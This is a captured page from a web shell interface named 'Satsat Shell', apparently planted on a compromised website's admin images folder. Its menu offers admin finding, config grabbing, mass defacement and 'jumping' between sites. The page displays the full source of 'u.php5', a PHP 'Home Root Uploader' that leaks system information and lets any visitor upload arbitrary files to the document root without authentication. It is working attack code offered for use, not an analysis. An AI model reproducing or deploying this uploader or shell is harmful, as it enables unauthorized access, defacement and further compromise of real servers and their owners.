Satsat Shell
| [ Stay Close And Keep silent ] |

[] Admin Finder [] |[] CSRF Online [] | [] Config [] | [] Mass Deface [] |
[] Jumping [] | [] Home []
Path : /home/sandaiah/public_html/ethicalindia.org/admin/images/
File Upload :
Current File : /home/sandaiah/public_html/ethicalindia.org/admin/images/u.php5

<?php
echo "Home Root Uploader ~ D3D0T<br>";
echo "<b>".php_uname()."</b><br>";
echo "<form method='post' enctype='multipart/form-data'>
	  <input type='file' name='idx_file'>
	  <input type='submit' name='upload' value='upload'>
	  </form>";
$root = $_SERVER['DOCUMENT_ROOT'];
$files = $_FILES['idx_file']['name'];
$dest = $root.'/'.$files;
if(isset($_POST['upload'])) {
	if(is_writable($root)) {
		if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {
			$web = "http://".$_SERVER['HTTP_HOST']."/";
			echo "uploaded ~> <a href='$web/$files' target='_blank'><b><u>$web/$files</u></b></a>";
		} else {
			echo "upload failed";
		}
	} else {
		if(@copy($_FILES['idx_file']['tmp_name'], $files)) {
			echo "uploaded <b>$files</b> in this folder";
		} else {
			echo "upload failed";
		}
	}
}
?>

Satsat Gans